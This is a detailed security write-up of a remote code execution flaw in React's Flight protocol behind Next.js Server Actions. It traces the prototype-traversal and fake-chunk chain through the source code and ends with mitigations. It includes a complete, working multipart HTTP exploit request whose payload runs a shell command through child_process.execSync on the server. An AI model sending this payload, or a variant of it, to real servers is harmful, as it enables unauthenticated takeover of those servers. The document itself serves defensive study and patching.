This document analyzes a Remote Code Execution (RCE) vulnerability in React's Flight protocol, which powers Next.js Server Actions. The exploit chains three vulnerabilities:
- Unsanitized path traversal in reference resolution (
__proto__,constructoraccess) - Fake chunk injection - crafted objects treated as internal Chunk objects
- Function constructor injection -
_formData.getreplaced withFunction
- Introduction to React Server Actions
- The React Flight Protocol
- Payload Deserialization Deep Dive
- The Payload
- Detailed Code Path Analysis
- Visual Exploitation Flow
- Root Cause Summary
- Mitigation Recommendations
React Server Actions are a feature introduced in React 18 and fully integrated into Next.js 13+ App Router. They allow you to define server-side functions that can be called directly from client components without creating explicit API routes.
// app/actions.js
'use server'
export async function submitForm(formData) {
const name = formData.get('name')
await db.users.create({ name })
return { success: true }
}// app/page.jsx
import { submitForm } from './actions'
export default function Page() {
return (
<form action={submitForm}>
<input name="name" />
<button type="submit">Submit</button>
</form>
)
}When a Server Action is invoked:
┌─────────────────────────────────────────────────────────────────────────────┐
│ SERVER ACTION FLOW │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Client Network Server │
│ ────── ─────── ────── │
│ │
│ 1. User submits form │
│ │ │
│ ▼ │
│ 2. React serializes │
│ arguments using POST / │
│ Flight protocol ─────────────────────────────► 3. Next.js receives │
│ multipart/form-data request │
│ Next-Action: <id> │ │
│ ▼ │
│ 4. Deserialize │
│ arguments │
│ using Flight │
│ │ │
│ ▼ │
│ 5. Execute │
│ 7. React updates UI ◄───────────────────────────── Server Action │
│ with result Flight-encoded │ │
│ response ▼ │
│ 6. Serialize │
│ return value │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
When a Server Action is called, Next.js sends a POST request with special headers:
POST /page HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: 1234567890abcdef ← Server Action identifier
Next-Router-State-Tree: ... ← Client router stateThe Next-Action header tells the server which registered function to execute. The request body contains the serialized arguments.
The Flight protocol is React's custom serialization format for transferring React component trees and data between server and client. It's designed to handle:
- React elements and components
- Promises and async data
- Circular references
- Binary data (Blobs, TypedArrays)
- Server References (functions that run on server)
┌─────────────────────────────────────────────────────────────────────────────┐
│ FLIGHT PROTOCOL LAYERS │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ Application Layer │ │
│ │ Server Actions, React Server Components, Data Fetching │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ Serialization Layer │ │
│ │ │ │
│ │ ReactFlightServer.js (Server → Client encoding) │ │
│ │ ReactFlightClient.js (Client → Server decoding) │ │
│ │ ReactFlightReplyServer.js (Client → Server reply decoding) ← VULN │ │
│ │ ReactFlightReplyClient.js (Server → Client reply encoding) │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ Transport Layer │ │
│ │ multipart/form-data, ReadableStream, fetch() │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
The Flight protocol uses $ prefixed strings to encode special values that can't be represented in plain JSON:
| Prefix | Type | Example | Description |
|---|---|---|---|
$$ |
Escaped $ |
"$$hello" → "$hello" |
Literal string starting with $ |
$@ |
Promise/Chunk | "$@0" |
Reference to chunk ID 0 |
$F |
Server Reference | "$F0" |
Server function reference |
$T |
Temporary Ref | "$T" |
Opaque temporary reference |
$Q |
Map | "$Q0" |
Map object at chunk 0 |
$W |
Set | "$W0" |
Set object at chunk 0 |
$K |
FormData | "$K0" |
FormData at chunk 0 |
$B |
Blob | "$B0" |
Blob at chunk 0 |
$n |
BigInt | "$n123" |
BigInt value |
$D |
Date | "$D2024-01-01" |
Date object |
$N |
NaN | "$N" |
NaN value |
$I |
Infinity | "$I" |
Infinity |
$- |
-Infinity/-0 | "$-I" or "$-0" |
Negative infinity or negative zero |
$u |
undefined | "$u" |
undefined value |
$R |
ReadableStream | "$R0" |
ReadableStream |
$0-9a-f |
Chunk Reference | "$1", "$a" |
Reference to chunk by hex ID |
Flight organizes data into chunks - discrete units that can reference each other:
┌────────────────────────────────────────────────────────────────────────────┐
│ CHUNK STRUCTURE │
├────────────────────────────────────────────────────────────────────────────┤
│ │
│ FormData Fields: │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ Field "0": '{"name": "John", "ref": "$1"}' ← Chunk 0 │ │
│ │ Field "1": '{"address": "123 Main St"}' ← Chunk 1 │ │
│ │ Field "2": '"$@0"' ← Chunk 2 │ │
│ └──────────────────────────────────────────────────────────────────┘ │
│ │
│ Resolution: │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ Chunk 0: {name: "John", ref: → Chunk 1} │ │
│ │ Chunk 1: {address: "123 Main St"} │ │
│ │ Chunk 2: Promise<Chunk 0> │ │
│ └──────────────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────────────────┘
Internally, React represents chunks as objects with Promise-like behavior:
// From ReactFlightReplyServer.js (lines 118-123)
function Chunk(status, value, reason, response) {
this.status = status; // 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected'
this.value = value; // The actual data or pending listeners
this.reason = reason; // Error reason or chunk ID
this._response = response; // Parent Response object
}
// Chunks inherit from Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) { /* ... */ };Flight supports nested property access using colon-separated paths:
"$0:users:0:name"
│ │ │ │
│ │ │ └── Property "name"
│ │ └───── Array index 0
│ └────────── Property "users"
└───────────── Chunk ID 0
Resolution process:
// From getOutlinedModel() - lines 602-616
const path = reference.split(':'); // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16); // 0
const chunk = getChunk(response, id);
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // Traverse: value["users"]["0"]["name"]
}🔴 THE VULNERABILITY: No validation on property names allows:
$0:__proto__:then- Access prototype chain$0:constructor:constructor- Access Function constructor
This section traces exactly how the malicious payload is deserialized step-by-step. Click to see detailed code path analysis.
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model",...}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary
Content-Disposition: form-data; name="2"
[]
------Boundary--Next.js parses the multipart body into a FormData object:
// Conceptual representation
formData = {
"0": '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{...}}',
"1": '"$@0"',
"2": '[]'
}// ReactFlightActionServer.js:62-67
const actionResponse = createResponse(
serverManifest,
formFieldPrefix, // e.g., "" or "$ACTION_0:"
undefined, // temporaryReferences
body, // The FormData
);
// Creates Response object (ReactFlightReplyServer.js:1091-1108)
response = {
_bundlerConfig: serverManifest,
_prefix: formFieldPrefix, // Used to find chunks in FormData
_formData: body, // The raw FormData
_chunks: new Map(), // Parsed chunks cache
_closed: false,
_temporaryReferences: undefined,
}// ReactFlightActionServer.js:69-72
const refPromise = getRoot(actionResponse);
// getRoot returns chunk 0 (ReactFlightReplyServer.js:177-180)
function getRoot(response) {
const chunk = getChunk(response, 0); // Get chunk with ID 0
return chunk; // Returns as thenable (has .then method)
}// getChunk (ReactFlightReplyServer.js:518-540)
function getChunk(response, id) {
const chunks = response._chunks;
let chunk = chunks.get(id);
if (!chunk) {
const prefix = response._prefix;
const key = prefix + id; // "" + "0" = "0"
const backingEntry = response._formData.get(key); // Get field "0"
if (backingEntry != null) {
// Create chunk from the JSON string
chunk = createResolvedModelChunk(response, backingEntry, id);
// chunk.status = 'resolved_model'
// chunk.value = '{"then":"$1:__proto__:then",...}'
// chunk._response = response
}
chunks.set(id, chunk);
}
return chunk;
}// ReactFlightActionServer.js:75
refPromise.then(() => {}); // Triggers Chunk.prototype.then// ReactFlightReplyServer.js:127-165
Chunk.prototype.then = function(resolve, reject) {
const chunk = this;
switch (chunk.status) {
case 'resolved_model': // Our chunk matches this!
initializeModelChunk(chunk); // Parse the JSON
break;
}
switch (chunk.status) {
case 'fulfilled':
resolve(chunk.value); // Return parsed value
break;
}
}// initializeModelChunk (ReactFlightReplyServer.js:446-501)
function initializeModelChunk(chunk) {
const resolvedModel = chunk.value;
// = '{"then":"$1:__proto__:then","status":"resolved_model",...}'
const rawModel = JSON.parse(resolvedModel);
// = {then: "$1:__proto__:then", status: "resolved_model", ...}
const value = reviveModel(
chunk._response, // The Response object
{'': rawModel}, // Wrapper object
'', // Key
rawModel, // The parsed JSON
rootReference // Reference path
);
}// reviveModel (ReactFlightReplyServer.js:386-442)
function reviveModel(response, parentObj, parentKey, value, reference) {
if (typeof value === 'string') {
// Handle $-prefixed special values
return parseModelString(response, parentObj, parentKey, value, reference);
}
if (typeof value === 'object' && value !== null) {
// Recursively process all properties
for (const key in value) {
const newValue = reviveModel(
response, value, key, value[key], childRef
);
value[key] = newValue; // Replace with resolved value
}
}
return value;
}When reviving the then property with value "$1:__proto__:then":
// parseModelString (ReactFlightReplyServer.js:916-1089)
function parseModelString(response, obj, key, value, reference) {
if (value[0] === '$') {
// ... various $X cases ...
// Default: treat as chunk reference with path
const ref = value.slice(1); // "1:__proto__:then"
return getOutlinedModel(response, ref, obj, key, createModel);
}
}// getOutlinedModel (ReactFlightReplyServer.js:595-638)
function getOutlinedModel(response, reference, parentObject, key, map) {
const path = reference.split(':'); // ["1", "__proto__", "then"]
const id = parseInt(path[0], 16); // 1
const chunk = getChunk(response, id); // Get chunk 1
// Chunk 1 contains "$@0" - a reference to chunk 0
// After resolution, chunk1.value = chunk0 (the Chunk object)
switch (chunk.status) {
case 'fulfilled':
let value = chunk.value; // The Chunk object for chunk 0
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 🔴 NO SANITIZATION!
}
// path[1] = "__proto__" → value = Chunk.prototype
// path[2] = "then" → value = Chunk.prototype.then (FUNCTION!)
return map(response, value); // Returns the .then function
}
}After all processing, the payload object becomes:
{
then: Chunk.prototype.then, // 🔴 STOLEN FUNCTION!
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
_prefix: "process.mainModule.require('child_process').execSync('say haha');",
_chunks: Map, // From $Q2
_formData: {
get: Function // 🔴 FUNCTION CONSTRUCTOR! (from $1:constructor:constructor)
}
}
}┌─────────────────────────────────────────────────────────────────────────────┐
│ DESERIALIZATION FLOW │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ HTTP Request │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ FormData Parsing │ │
│ │ "0" → '{"then":"$1:__proto__:then",...}' │ │
│ │ "1" → '"$@0"' │ │
│ │ "2" → '[]' │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ createResponse() │ │
│ │ response._formData = FormData │ │
│ │ response._chunks = Map() │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ getRoot() → getChunk(response, 0) │ │
│ │ Creates ResolvedModelChunk from field "0" │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ chunk.then(() => {}) ← Trigger point │ │
│ │ └── initializeModelChunk(chunk) │ │
│ │ └── JSON.parse(chunk.value) │ │
│ │ └── reviveModel(response, {...}, ...) │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ reviveModel() - For each property: │ │
│ │ │ │
│ │ "then": "$1:__proto__:then" │ │
│ │ └── parseModelString() │ │
│ │ └── getOutlinedModel("1:__proto__:then") │ │
│ │ └── path = ["1", "__proto__", "then"] │ │
│ │ └── chunk1 = getChunk(1) // "$@0" → chunk0 │ │
│ │ └── value = chunk0["__proto__"]["then"] │ │
│ │ └── returns Chunk.prototype.then 🔴 │ │
│ │ │ │
│ │ "_formData.get": "$1:constructor:constructor" │ │
│ │ └── path = ["1", "constructor", "constructor"] │ │
│ │ └── value = Object.constructor = Function 🔴 │ │
│ │ │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │ RESULT: Malicious object with: │ │
│ │ - then = Chunk.prototype.then (makes it thenable) │ │
│ │ - _response._formData.get = Function constructor │ │
│ │ - _response._prefix = malicious code string │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('say haha');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--| Field | Value | Purpose |
|---|---|---|
0 |
Main JSON payload | Fake Chunk object with malicious _response |
1 |
"$@0" |
Promise reference creating circular dependency |
2 |
[] |
Empty array placeholder for Map reference |
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('say haha');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}File: packages/react-server/src/ReactFlightActionServer.js
POST / → decodeAction() → decodeBoundActionMetaData()
↓
createResponse(serverManifest, formFieldPrefix, undefined, body)
↓
getRoot(actionResponse) // Returns chunk 0 as thenable
↓
refPromise.then(() => {}) // LINE 75 - Forces resolution
Code (lines 56-81):
function decodeBoundActionMetaData(body, serverManifest, formFieldPrefix) {
const actionResponse = createResponse(
serverManifest,
formFieldPrefix,
undefined,
body,
);
close(actionResponse);
const refPromise = getRoot(actionResponse);
// Force it to initialize
refPromise.then(() => {}); // ← TRIGGER POINT
if (refPromise.status !== 'fulfilled') {
throw refPromise.reason;
}
return refPromise.value;
}At line 75, .then() is called on the root chunk, triggering the exploit chain.
File: packages/react-server/src/ReactFlightReplyServer.js
Code (lines 127-143):
Chunk.prototype.then = function(resolve, reject) {
const chunk = this;
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk); // LINE 137 - Triggers parsing
break;
}
// The status might have changed after initialization.
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value); // LINE 143 - Passes value to Promise chain
break;
// ...
}
}When chunk 0 (containing the payload) is resolved:
initializeModelChunkparses the JSONreviveModelprocesses all properties recursively
File: packages/react-server/src/ReactFlightReplyServer.js
Code (lines 595-616):
function getOutlinedModel(response, reference, parentObject, key, map) {
const path = reference.split(':'); // "1:__proto__:then" → ["1", "__proto__", "then"]
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);
// ... chunk initialization ...
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // LINE 614-615: NO SANITIZATION!
}
return map(response, value);
}
}The colon-separated path allows accessing ANY property including:
__proto__- prototype chain accessconstructor- access to constructors
No validation exists to prevent dangerous property access.
When $1:__proto__:then is resolved:
$1:__proto__:then
↓
path = ["1", "__proto__", "then"]
↓
chunk1 = getChunk(response, 1) // Contains "$@0"
↓
"$@0" resolves to chunk0 (the Chunk object itself)
↓
value = chunk0["__proto__"] // = Chunk.prototype (inherits from Promise.prototype)
↓
value = value["then"] // = Chunk.prototype.then FUNCTION
Result: The payload's then property now holds Chunk.prototype.then, making the payload object a thenable.
When $1:constructor:constructor is resolved:
$1:constructor:constructor
↓
path = ["1", "constructor", "constructor"]
↓
chunk1.value = chunk0 (the parsed object)
↓
value = chunk0["constructor"] // = Object
↓
value = Object["constructor"] // = Function constructor
Result: _formData.get property becomes the Function constructor.
File: packages/react-server/src/ReactFlightReplyServer.js
Code (lines 135-137):
switch (chunk.status) {
case RESOLVED_MODEL: // Payload has status: "resolved_model"
initializeModelChunk(chunk); // Called with PAYLOAD as "chunk"!The payload mimics a Chunk structure perfectly:
| Chunk Property | Payload Value | Purpose |
|---|---|---|
status |
"resolved_model" |
Matches RESOLVED_MODEL constant |
value |
"{\"then\":\"$B1337\"}" |
Inner payload to parse |
reason |
-1 |
Mimics chunk ID |
_response |
{...malicious...} |
Injected malicious response |
File: packages/react-server/src/ReactFlightReplyServer.js
Code (lines 446-474):
function initializeModelChunk(chunk) {
// ...
const resolvedModel = chunk.value; // = "{\"then\":\"$B1337\"}"
// ...
const rawModel = JSON.parse(resolvedModel);
const value = reviveModel(
chunk._response, // ← USES THE FAKE _response!
{'': rawModel},
'',
rawModel,
rootReference,
);
}The fake _response contains:
{
"_prefix": "process.mainModule.require('child_process').execSync('say haha');",
"_formData": {"get": Function} // Already resolved to Function constructor!
}Critical Issue: No validation that chunk._response is a legitimate Response object.
File: packages/react-server/src/ReactFlightReplyServer.js
Code (lines 1059-1067):
case 'B': { // Blob reference
const id = parseInt(value.slice(2), 16); // 0x1337 = 4919
const prefix = response._prefix; // MALICIOUS CODE STRING
const blobKey = prefix + id; // "process.mainModule...execSync('say haha');4919"
const backingEntry = response._formData.get(blobKey); // Function(blobKey)!
return backingEntry;
}response._formData.get(blobKey)
↓
// _formData.get has been replaced with Function constructor
Function("process.mainModule.require('child_process').execSync('say haha');4919")
↓
// Returns a Function object with body:
function anonymous() {
process.mainModule.require('child_process').execSync('say haha');
4919
}The returned Function becomes the then property of the inner object {then: <Function>}.
When Promise resolution encounters this thenable:
// JavaScript Promise machinery:
if (typeof value.then === 'function') {
value.then(resolve, reject); // CALLS THE MALICIOUS FUNCTION!
}Calling the function executes:
process.mainModule.require('child_process').execSync('say haha')🔴 RCE ACHIEVED.
┌───────────────────────────────────────────────────────────────────────┐
│ PAYLOAD STRUCTURE │
├───────────────────────────────────────────────────────────────────────┤
│ Field "0": { │
│ "then": "$1:__proto__:then", ──────► Steals Chunk.prototype.then│
│ "status": "resolved_model", ──────► Mimics Chunk │
│ "value": "{\"then\":\"$B1337\"}", ──────► Inner payload │
│ "_response": { │
│ "_prefix": "execSync('say haha');", ──► Code to execute │
│ "_formData": {"get": "$1:constructor:constructor"} ──► Function │
│ } │
│ } │
│ │
│ Field "1": "$@0" ──────► Creates circular reference to Field 0 │
│ Field "2": "[]" ──────► Empty array placeholder │
└───────────────────────────────────────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ EXPLOITATION CHAIN │
├─────────────────────────────────────────────────────────────────────┤
│ 1. Server receives POST with Next-Action header │
│ 2. decodeAction() → getRoot() → .then() called (line 75) │
│ 3. $1:__proto__:then → Chunk.prototype.then stolen │
│ 4. $1:constructor:constructor → Function constructor obtained │
│ 5. Payload object becomes thenable (has .then method) │
│ 6. Promise resolves payload → treats as Chunk → initializeModelChunk
│ 7. Uses FAKE _response with malicious _prefix and _formData.get │
│ 8. $B1337 → Function("malicious code") called │
│ 9. Returned function used as .then() → EXECUTED │
│ 10. RCE: process.mainModule.require('child_process').execSync() │
└─────────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐
│ Client │ │ decodeAction │ │ getOutlinedModel│ │ parseModelStr│
└────┬─────┘ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘
│ │ │ │
│ POST / │ │ │
│ Next-Action: x │ │ │
│ FormData │ │ │
│─────────────────>│ │ │
│ │ │ │
│ │ createResponse() │ │
│ │─────────────────────>│ │
│ │ │ │
│ │ getRoot().then() │ │
│ │─────────────────────>│ │
│ │ │ │
│ │ │ resolve "$1:__proto__:then"
│ │ │────────────────────>│
│ │ │ │
│ │ │ path traversal │
│ │ │ value[__proto__][then]
│ │ │<────────────────────│
│ │ │ │
│ │ │ Returns Chunk.prototype.then
│ │ │ │
│ │ Fake chunk.then() called │
│ │ with malicious _response │
│ │─────────────────────────────────────────────>
│ │ │ │
│ │ │ resolve "$B1337" │
│ │ │────────────────────>│
│ │ │ │
│ │ │ Function(malicious_code)
│ │ │<────────────────────│
│ │ │ │
│ │ Promise resolves with {then: Function} │
│ │ JavaScript calls .then() → EXECUTES CODE │
│ │ │ │
│ 💥 RCE │ │ │
│<─────────────────│ │ │
| Location | Line | Vulnerability |
|---|---|---|
ReactFlightReplyServer.js |
614-615 | Unsanitized property path traversal allows __proto__ and constructor access |
ReactFlightReplyServer.js |
137 | Fake objects with matching status property processed as real Chunks |
ReactFlightReplyServer.js |
468-474 | chunk._response used without validating it's a legitimate Response |
ReactFlightReplyServer.js |
1066 | _formData.get() called without verifying it's the real FormData method |
- Next.js application with Server Actions enabled (default in App Router)
- Accessible Server Action endpoint (any route with
"use server") - No additional input validation on the server action
- Full Remote Code Execution on the server
- No authentication required - exploitable by any client
- Affects all Next.js versions using vulnerable React Flight protocol
- Upgrade React/Next.js to patched versions
- Implement WAF rules to block malicious Flight protocol payloads
- Monitor for exploitation attempts - look for
__proto__orconstructorin request bodies
-
Sanitize path traversal - block dangerous property names:
const BLOCKED_PROPS = ['__proto__', 'constructor', 'prototype']; if (BLOCKED_PROPS.includes(path[i])) { throw new Error('Invalid property access'); }
-
Validate chunk objects - ensure
_responseis a legitimate Response:if (!(chunk._response instanceof Response)) { throw new Error('Invalid chunk response'); }
-
Type-check _formData.get - verify it's the real FormData method:
if (typeof response._formData.get !== 'function' || response._formData.get !== FormData.prototype.get) { throw new Error('Invalid FormData'); }
- React Flight Protocol Source:
packages/react-server/src/ReactFlightReplyServer.js - Server Actions Entry:
packages/react-server/src/ReactFlightActionServer.js - Related CVEs: CVE-2024-34351 (SSRF), and subsequent RCE variants
This analysis is provided for educational and defensive security purposes only. The information should be used to understand, detect, and prevent exploitation of this vulnerability class.
AI Slopped by
ultrathinkagainst facebook/react@36df5e8b42original POC https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3